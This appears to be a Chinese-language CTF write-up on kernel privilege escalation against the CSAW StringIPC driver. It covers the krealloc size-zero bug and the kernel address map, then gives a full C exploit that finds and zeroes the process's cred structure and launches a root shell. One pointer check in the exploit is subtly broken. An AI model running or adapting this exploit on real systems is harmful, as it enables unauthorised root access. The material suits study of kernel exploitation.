Linux Kernel Exploit intro

学完基本的内核知识之后来看一下常用的内核提权方法,这次先用这个被复现过无数次的经典例题来学习修改cred结构体提权方法,之后还会利用这道例题学习其他的利用技巧。劫持VDSO和prctl后续再补上,然后去学习内核的race condition相关的利用,就这样。

驱动漏洞

由于realloc中没有检查size,所以当newsize被改成0时会被krealloc释放掉这块内存并返回一个ZERO_SIZE_PTR,这个被定义为(void *)16, 也就是0x10,那么channal的data地址就变成了0x10,同时由于channal的index可以通过seek函数来控制,所以能达成任意地址读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static ssize_t read_ipc_channel ( struct ipc_state *state, char __user *buf, size_t count )
{
struct ipc_channel *channel;
loff_t *pos;

if ( ! state->channel )
return -ENXIO;

channel = state->channel;
pos = &channel->index;

if ( (count + *pos) > channel->buf_size )
return -EINVAL;

if ( copy_to_user(buf, channel->data + *pos, count) )
return -EINVAL;

return count;
}

static ssize_t write_ipc_channel ( struct ipc_state *state, const char __user *buf, size_t count )
{
struct ipc_channel *channel;
loff_t *pos;

if ( ! state->channel )
return -ENXIO;

channel = state->channel;
pos = &channel->index;

if ( (count + *pos) > channel->buf_size )
return -EINVAL;

if ( strncpy_from_user(channel->data + *pos, buf, count) < 0 )
return -EINVAL;

return count;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
struct ipc_channel *channel;
size_t new_size;
char *new_data;

channel = get_channel_by_id(state, id);
if ( IS_ERR(channel) )
return PTR_ERR(channel);

if ( grow )
new_size = channel->buf_size + size;
else
new_size = channel->buf_size - size;

new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
if ( new_data == NULL )
return -EINVAL;

channel->data = new_data;
channel->buf_size = new_size;

ipc_channel_put(state, channel);

return 0;
}
内核地址映射

可以任意读写了之后需要做什么呢,cred结构体是描述进程的权限的,它存在于task_struct,而这两个结构体是通过内核SLUB分配器申请出来的堆内存,也就是直接映射区0xffff880000000000到0xffffc80000000000。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

那么如何找到cred呢?在task_struct里有一个 char comm[TASK_COMM_LEN]; 结构,而这个结构可以通过prctl函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串,而通过设定这个值,并利用内存任意读即可找到这个预设的字符串,即可找到task_structure结构体,进一步找到cred结构体,就可以利用内存任意写来提权了。

Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void print_hex(char *buf,size_t len){
int i;
for (i=0;i<((len/8)*8);i+=8){
printf("0x%lx",*(size_t *)(buf+i));
if (i%16)
printf(" ");
else
printf("\n");
}
}

int main(){
int fd=-1;
size_t result=0;
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct close_channel_args close_args;
struct write_channel_args write_args;
size_t addr=0xffff880000000000;
size_t real_cred=0;
size_t cred=0;
size_t target_addr;
int root_cred[12];
//set target in task_struct
setvbuf(stdout,0LL,2,0LL);
char *buf =calloc(1,0x1000);
char target[16];
strcpy(target,"12345567");
prctl(PR_SET_NAME,target);
fd=open("/dev/csaw",O_RDWR);
if (fd<0){
puts("[-] open device error");
exit(-1);
}

alloc_args.buf_size=0x100;
alloc_args.id=-1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
if (alloc_args.id==-1){
puts("[-] alloc_channel error");
exit(-1);
}
printf("[+] now we get a channel %d\n",alloc_args.id);
shrink_args.id=alloc_args.id;
shrink_args.size=0x100+1;
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
puts("[+] we can read and write any memory");

//search start from 0xffff880000000000 to 0xffffc80000000000
for(;addr<0xffffc80000000000;addr+=0x1000){
seek_args.id=alloc_args.id;
seek_args.index=addr-0x10;
seek_args.whence=SEEK_SET;
//set offset
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
read_args.id=alloc_args.id;
read_args.buf=buf;
read_args.count=0x1000;
ioctl(fd,CSAW_READ_CHANNEL,&read_args);
//find substring
result=memmem(buf,0x1000,target,8);
if (result){
printf("result:%p\n",(void *)result);
cred= * (size_t *)(result-0x8);
real_cred= *(size_t *)(result-0x10);
if ((cred||0xff00000000000000) && (real_cred == cred))
{
target_addr=addr+result-(int)(buf);
printf("[+] found task_struct 0x%lx\n",target_addr);
printf("[+] found cred 0x%lx\n",real_cred);
break;
}
}
}
if (result==0)
{
puts("not found , try again ");
exit(-1);
}
memset((char *)root_cred,0,28);
char zeros[30]={0};
for (int i=0;i<28;i++)
{
seek_args.id=alloc_args.id;
seek_args.index=cred-0x10+i;
seek_args.whence=SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
write_args.id=alloc_args.id;
write_args.buf=(char *)root_cred;
write_args.count=1;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
}

if (getuid()==0){
printf("[+] root shell\n");
system("/bin/sh");
}
else
{
puts("[-] there must be something error ... ");
exit(-1);
}
return 0;
}